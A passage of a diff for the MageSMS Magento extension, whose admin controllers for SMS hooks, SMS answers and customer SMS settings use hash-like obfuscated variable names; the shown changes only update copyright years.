Mage::dispatchEvent('topefekt_magesms_adminsms_groups', array('groups' => $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a)); foreach ($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a as $i4abcdb69150d2b99477ddace90c2020fb244c4f6) { if ($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getGroup() && !$this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->getItemByColumnValue('group', $i4abcdb69150d2b99477ddace90c2020fb244c4f6->getGroup())) { $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->addItem($i4abcdb69150d2b99477ddace90c2020fb244c4f6); foreach($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getHooks() as $i42ee48f418943c9662de0976069476c7dc8f620d) { $i42ee48f418943c9662de0976069476c7dc8f620d->setNotice(str_replace(', {shop_phone}', ', {shop_phone}, {admin_name}, {admin_phone}', $i42ee48f418943c9662de0976069476c7dc8f620d->getNotice())); } } else { foreach($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getHooks() as $i42ee48f418943c9662de0976069476c7dc8f620d) { if ($i42ee48f418943c9662de0976069476c7dc8f620d->getName() && ($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc = $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->getItemByColumnValue('group', $i42ee48f418943c9662de0976069476c7dc8f620d->getGroup()))) { $ib621bf9fa69ea2cdc5a9bc8679d915479caec16a = $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->getHooks(); $ib621bf9fa69ea2cdc5a9bc8679d915479caec16a[$i42ee48f418943c9662de0976069476c7dc8f620d->getName()] = $i42ee48f418943c9662de0976069476c7dc8f620d; $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->setHooks($ib621bf9fa69ea2cdc5a9bc8679d915479caec16a); } } } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setGroups($this->v2b483c223d472d1fb22c9823dcc35f84765b2c06); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function saveunicodeAction() { $i7137e40370cf1c5ccf937060891613788203e2d6 = 'default'; $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode') ->getCollection() ->addFilter('area', $i7137e40370cf1c5ccf937060891613788203e2d6) ->addFilter('type', 'admin') ->getFirstItem(); if (!count($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getData())) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setArea($i7137e40370cf1c5ccf937060891613788203e2d6); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setType('admin'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($this->getRequest()->getParam('unicode' , 0)); } else { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($this->getRequest()->getParam('unicode' , 0)); } $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->save(); Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Unicode was saved.')); $this->_redirect('*/*/'); return $this; } public function savehookAction() { $i30f20aafde612a957f7f966cb5b85e35782bc88a = $this->getRequest()->getParam('type'); $i2bd9743336318d0e14be0600c9129730279505dd = $this->getRequest()->getParam('name'); $i24273814df383b4a6926acc1db1a788b12f5a411 = $this->getRequest()->getParam('text' , ''); $id2202a8a92e3022b2b00717b92bc918373dc2edc = $this->getRequest()->getParam('plugin'); if ($i30f20aafde612a957f7f966cb5b85e35782bc88a && $i2bd9743336318d0e14be0600c9129730279505dd && $i24273814df383b4a6926acc1db1a788b12f5a411) { if ($id2202a8a92e3022b2b00717b92bc918373dc2edc) { Mage::dispatchEvent('topefekt_magesms_adminsms_save'); } else { $if739aceffec69fa2733946a3d319defaa354082d = Mage::getSingleton('magesms/hooks_'.$i30f20aafde612a957f7f966cb5b85e35782bc88a) ->getCollection() ->addFilter('name', $i2bd9743336318d0e14be0600c9129730279505dd); foreach($if739aceffec69fa2733946a3d319defaa354082d as $i42ee48f418943c9662de0976069476c7dc8f620d) { $i42ee48f418943c9662de0976069476c7dc8f620d->delete(); } foreach($this->getRequest()->getParams() as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$iacbd1c78463510856e506611fe14b5e1173581a6) { if (strpos($i670253c23c6fcba76bc4256a88fdd8fbc1041039, 'active_') === 0) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = explode('_', $i670253c23c6fcba76bc4256a88fdd8fbc1041039); $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getModel('magesms/hooks_'.$i30f20aafde612a957f7f966cb5b85e35782bc88a) ->setName($i2bd9743336318d0e14be0600c9129730279505dd) ->setSmstext($i24273814df383b4a6926acc1db1a788b12f5a411) ->setAdminId($ia61712c27ea241bd7a543dc2b02ea572274d0322[2]) ->setStoreGroupId($ia61712c27ea241bd7a543dc2b02ea572274d0322[3]) ->save(); } else { continue; } } } Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Text of SMS was saved.')); } $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = array('_fragment' => $i2bd9743336318d0e14be0600c9129730279505dd); $this->_redirect('*/*/', $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a); return $this; } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/adminsms') ->_title(Mage::helper('magesms')->__('Admin SMS')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/adminsms'); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/AnswersController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_AnswersController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 = Mage::helper('adminhtml')->prepareFilterString($this->getRequest()->getParam('filter')); $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 = $this->_filterDates($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2, array('reg_from', 'reg_to', 'birth_from', 'birth_to')); $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Object(); foreach ($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 as $i670253c23c6fcba76bc4256a88fdd8fbc1041039 => $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89)) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->setData($i670253c23c6fcba76bc4256a88fdd8fbc1041039, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('magesms/answers'); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setFilterData($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function markAsReadAction() { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id')) { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = Mage::getModel('magesms/answers') ->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if (!$i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->getId()) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError(Mage::helper('magesms')->__('Unable to proceed. Please, try again.')); $this->_redirect('*/*/'); return ; } try { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->setProhlednuto(1) ->save(); $i0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess(Mage::helper('magesms')->__('The message has been marked as read.')); } catch (Mage_Core_Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addException($i8c174347956f0a76258a09557543e84f88beb4a0, Mage::helper('magesms')->__('An error occurred while marking notification as read.')); } $this->_redirectReferer(); return; } $this->_redirect('*/*/'); } public function massMarkAsReadAction() { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); $iea1c44f6137731e1b13c494f784074e6a133577a = $this->getRequest()->getParam('answers'); if (!is_array($iea1c44f6137731e1b13c494f784074e6a133577a)) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError(Mage::helper('magesms')->__('Please select messages.')); } else { try { foreach ($iea1c44f6137731e1b13c494f784074e6a133577a as $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538) { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = Mage::getModel('magesms/answers') ->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if ($i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->getId()) { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->setProhlednuto(1) ->save(); } } $this->_getSession()->addSuccess( Mage::helper('magesms')->__('Total of %d record(s) have been marked as read.', count($iea1c44f6137731e1b13c494f784074e6a133577a)) ); } catch (Mage_Core_Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addException($i8c174347956f0a76258a09557543e84f88beb4a0, Mage::helper('magesms')->__('An error occurred while marking the messages as read.')); } } $this->_redirect('*/*/'); } public function removeAction() { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id')) { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = Mage::getModel('magesms/answers') ->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if (!$i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->getId()) { $this->_redirect('*/*/'); return ; } try { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->delete(); $i0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess(Mage::helper('magesms')->__('The message has been removed.')); } catch (Mage_Core_Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addException($i8c174347956f0a76258a09557543e84f88beb4a0, Mage::helper('magesms')->__('An error occurred while removing the message.')); } $this->_redirect('*/*/'); return; } $this->_redirect('*/*/'); } public function massRemoveAction() { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); $iea1c44f6137731e1b13c494f784074e6a133577a = $this->getRequest()->getParam('answers'); if (!is_array($iea1c44f6137731e1b13c494f784074e6a133577a)) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError(Mage::helper('magesms')->__('Please select messages.')); } else { try { foreach ($iea1c44f6137731e1b13c494f784074e6a133577a as $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538) { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = Mage::getModel('magesms/answers') ->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if ($i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->getId()) { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->delete(); } } $this->_getSession()->addSuccess( Mage::helper('magesms')->__('Total of %d record(s) have been removed.', count($iea1c44f6137731e1b13c494f784074e6a133577a)) ); } catch (Mage_Core_Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addException($i8c174347956f0a76258a09557543e84f88beb4a0, Mage::helper('magesms')->__('An error occurred while removing messages.')); } } $this->_redirectReferer(); } public function exportCsvAction() { $i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da = 'answers.csv'; $i42cf41da37138d64d37b0778e6561aab5e1239d6 = $this->getLayout()->createBlock('magesms/answers_grid'); $this->_prepareDownloadResponse($i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da, $i42cf41da37138d64d37b0778e6561aab5e1239d6->getCsvFile()); } public function exportExcelAction() { $i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da = 'answers.xml'; $i42cf41da37138d64d37b0778e6561aab5e1239d6 = $this->getLayout()->createBlock('magesms/answers_grid'); $this->_prepareDownloadResponse($i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da, $i42cf41da37138d64d37b0778e6561aab5e1239d6->getExcelFile($i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da)); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/answers') ->_title(Mage::helper('magesms')->__('SMS Answers')) ; return $this; } protected function _isAllowed() { switch ($this->getRequest()->getActionName()) { case 'markAsRead': $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers/mark_as_read'; break; case 'massMarkAsRead': $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers/mark_as_read'; break; case 'remove': $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers/remove'; break; case 'massRemove': $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers/remove'; break; default: $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers'; } return Mage::getSingleton('admin/session')->isAllowed($i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_AnswersController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 = Mage::helper('adminhtml')->prepareFilterString($this->getRequest()->getParam('filter')); $iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 = $this->_filterDates($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2, array('reg_from', 'reg_to', 'birth_from', 'birth_to')); $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Object(); foreach ($iea2d876101fbc4dc03450ed5474bbd8a6fb905a2 as $i670253c23c6fcba76bc4256a88fdd8fbc1041039 => $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89)) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->setData($i670253c23c6fcba76bc4256a88fdd8fbc1041039, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('magesms/answers'); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setFilterData($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function markAsReadAction() { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id')) { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = Mage::getModel('magesms/answers') ->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if (!$i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->getId()) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError(Mage::helper('magesms')->__('Unable to proceed. Please, try again.')); $this->_redirect('*/*/'); return ; } try { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->setProhlednuto(1) ->save(); $i0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess(Mage::helper('magesms')->__('The message has been marked as read.')); } catch (Mage_Core_Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addException($i8c174347956f0a76258a09557543e84f88beb4a0, Mage::helper('magesms')->__('An error occurred while marking notification as read.')); } $this->_redirectReferer(); return; } $this->_redirect('*/*/'); } public function massMarkAsReadAction() { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); $iea1c44f6137731e1b13c494f784074e6a133577a = $this->getRequest()->getParam('answers'); if (!is_array($iea1c44f6137731e1b13c494f784074e6a133577a)) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError(Mage::helper('magesms')->__('Please select messages.')); } else { try { foreach ($iea1c44f6137731e1b13c494f784074e6a133577a as $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538) { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = Mage::getModel('magesms/answers') ->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if ($i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->getId()) { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->setProhlednuto(1) ->save(); } } $this->_getSession()->addSuccess( Mage::helper('magesms')->__('Total of %d record(s) have been marked as read.', count($iea1c44f6137731e1b13c494f784074e6a133577a)) ); } catch (Mage_Core_Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addException($i8c174347956f0a76258a09557543e84f88beb4a0, Mage::helper('magesms')->__('An error occurred while marking the messages as read.')); } } $this->_redirect('*/*/'); } public function removeAction() { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id')) { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = Mage::getModel('magesms/answers') ->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if (!$i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->getId()) { $this->_redirect('*/*/'); return ; } try { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->delete(); $i0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess(Mage::helper('magesms')->__('The message has been removed.')); } catch (Mage_Core_Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addException($i8c174347956f0a76258a09557543e84f88beb4a0, Mage::helper('magesms')->__('An error occurred while removing the message.')); } $this->_redirect('*/*/'); return; } $this->_redirect('*/*/'); } public function massRemoveAction() { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('adminhtml/session'); $iea1c44f6137731e1b13c494f784074e6a133577a = $this->getRequest()->getParam('answers'); if (!is_array($iea1c44f6137731e1b13c494f784074e6a133577a)) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError(Mage::helper('magesms')->__('Please select messages.')); } else { try { foreach ($iea1c44f6137731e1b13c494f784074e6a133577a as $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538) { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = Mage::getModel('magesms/answers') ->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if ($i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->getId()) { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd->delete(); } } $this->_getSession()->addSuccess( Mage::helper('magesms')->__('Total of %d record(s) have been removed.', count($iea1c44f6137731e1b13c494f784074e6a133577a)) ); } catch (Mage_Core_Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $i0e3e80cee9c51f140b823db0b7df66493acca657->addException($i8c174347956f0a76258a09557543e84f88beb4a0, Mage::helper('magesms')->__('An error occurred while removing messages.')); } } $this->_redirectReferer(); } public function exportCsvAction() { $i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da = 'answers.csv'; $i42cf41da37138d64d37b0778e6561aab5e1239d6 = $this->getLayout()->createBlock('magesms/answers_grid'); $this->_prepareDownloadResponse($i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da, $i42cf41da37138d64d37b0778e6561aab5e1239d6->getCsvFile()); } public function exportExcelAction() { $i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da = 'answers.xml'; $i42cf41da37138d64d37b0778e6561aab5e1239d6 = $this->getLayout()->createBlock('magesms/answers_grid'); $this->_prepareDownloadResponse($i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da, $i42cf41da37138d64d37b0778e6561aab5e1239d6->getExcelFile($i76341ee5d8e86027e6fa2d5f6480a85ca10cc6da)); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/answers') ->_title(Mage::helper('magesms')->__('SMS Answers')) ; return $this; } protected function _isAllowed() { switch ($this->getRequest()->getActionName()) { case 'markAsRead': $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers/mark_as_read'; break; case 'massMarkAsRead': $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers/mark_as_read'; break; case 'remove': $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers/remove'; break; case 'massRemove': $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers/remove'; break; default: $i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e = 'magesms/answers'; } return Mage::getSingleton('admin/session')->isAllowed($i72f3c526b8abf631fb79dfaa1f2cc1e7ee90ca3e); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/CustomersmsController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Adminhtml_Magesms_CustomersmsController extends Topefekt_Magesms_Controller_Action { private $v2b483c223d472d1fb22c9823dcc35f84765b2c06 = array(); public function _construct() { $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06 = new Varien_Data_Collection(); $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->addItem(new Varien_Object( array( 'group' => 'order_status', 'name' => 'Order status', 'icon' => 'magesms/AdminOrders.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'order', 'name' => 'Order', 'icon' => 'magesms/AdminOrders.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'account', 'name' => 'Account', 'icon' => 'magesms/AdminCustomers.gif' ) )); parent::_construct(); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/customersms.phtml') ); $ie54fcd5470bd7f31f709089290e33bb03e655c25 = array(); $ice21cd4390308309015957a221ff2bff67f397ce = Mage::app()->getLocale()->getOptionLocales(); foreach (Mage::app()->getStores() as $i3763a59a4c1873eeb396b46caa87140ccb7bc631) { $ia35eb6e21739b9f362d4085ebe7dee274bc421a7 = Mage::getStoreConfig('general/locale/code', $i3763a59a4c1873eeb396b46caa87140ccb7bc631->getId()); if (isset($ie54fcd5470bd7f31f709089290e33bb03e655c25[$ia35eb6e21739b9f362d4085ebe7dee274bc421a7])) { $ie54fcd5470bd7f31f709089290e33bb03e655c25[$ia35eb6e21739b9f362d4085ebe7dee274bc421a7]['stores'] = array_merge($ie54fcd5470bd7f31f709089290e33bb03e655c25[$ia35eb6e21739b9f362d4085ebe7dee274bc421a7]['stores'], array( Mage::getStoreConfig('general/store_information/name', $i3763a59a4c1873eeb396b46caa87140ccb7bc631->getStoreId()). ' ('.$i3763a59a4c1873eeb396b46caa87140ccb7bc631['name'].')' )); continue; } foreach ($ice21cd4390308309015957a221ff2bff67f397ce as $i4e4643965424fd5279d5992f6c669c0a56d9a1a3) { if ($i4e4643965424fd5279d5992f6c669c0a56d9a1a3['value'] == $ia35eb6e21739b9f362d4085ebe7dee274bc421a7) { $ie54fcd5470bd7f31f709089290e33bb03e655c25[$ia35eb6e21739b9f362d4085ebe7dee274bc421a7] = $i4e4643965424fd5279d5992f6c669c0a56d9a1a3; $ie54fcd5470bd7f31f709089290e33bb03e655c25[$ia35eb6e21739b9f362d4085ebe7dee274bc421a7]['stores'] = array( Mage::getStoreConfig('general/store_information/name', $i3763a59a4c1873eeb396b46caa87140ccb7bc631->getStoreId()). ' ('.$i3763a59a4c1873eeb396b46caa87140ccb7bc631['name'].')' ); $ie54fcd5470bd7f31f709089290e33bb03e655c25[$ia35eb6e21739b9f362d4085ebe7dee274bc421a7]['selected'] = 0; break; } } } $i7137e40370cf1c5ccf937060891613788203e2d6 = $this->getRequest()->getParam('mutation'); if ($i7137e40370cf1c5ccf937060891613788203e2d6 && !in_array($i7137e40370cf1c5ccf937060891613788203e2d6, array_keys($ie54fcd5470bd7f31f709089290e33bb03e655c25))) $i7137e40370cf1c5ccf937060891613788203e2d6 = ''; if (isset($ie54fcd5470bd7f31f709089290e33bb03e655c25[$i7137e40370cf1c5ccf937060891613788203e2d6])) { $ie54fcd5470bd7f31f709089290e33bb03e655c25[$i7137e40370cf1c5ccf937060891613788203e2d6]['selected'] = 1; $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutationLabel($ie54fcd5470bd7f31f709089290e33bb03e655c25[$i7137e40370cf1c5ccf937060891613788203e2d6]['label']); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutationValue($ie54fcd5470bd7f31f709089290e33bb03e655c25[$i7137e40370cf1c5ccf937060891613788203e2d6]['value']); } else { foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as &$i593f9fb6306ab4cdb862f1ef6769504d63647c90) { $i7137e40370cf1c5ccf937060891613788203e2d6 = $i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']; $i593f9fb6306ab4cdb862f1ef6769504d63647c90['selected'] = 1; $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutationLabel($i593f9fb6306ab4cdb862f1ef6769504d63647c90['label']); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutationValue($i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']); break; } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMutations($ie54fcd5470bd7f31f709089290e33bb03e655c25); foreach ($this->v2b483c223d472d1fb22c9823dcc35f84765b2c06 as $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc) { $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->setHooks(Mage::helper('magesms')->getHooks($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc['group'], 'customers', $i7137e40370cf1c5ccf937060891613788203e2d6)); } $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Data_Collection(); Mage::dispatchEvent('topefekt_magesms_customersms_groups', array('groups' => $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a)); foreach ($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a as $i4abcdb69150d2b99477ddace90c2020fb244c4f6) { if ($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getGroup() && !$this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->getItemByColumnValue('group', $i4abcdb69150d2b99477ddace90c2020fb244c4f6->getGroup())) { $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->addItem($i4abcdb69150d2b99477ddace90c2020fb244c4f6); } else { foreach($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getHooks() as $i42ee48f418943c9662de0976069476c7dc8f620d) { if ($i42ee48f418943c9662de0976069476c7dc8f620d->getName() && ($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc = $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->getItemByColumnValue('group', $i42ee48f418943c9662de0976069476c7dc8f620d->getGroup()))) { $ib621bf9fa69ea2cdc5a9bc8679d915479caec16a = $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->getHooks(); 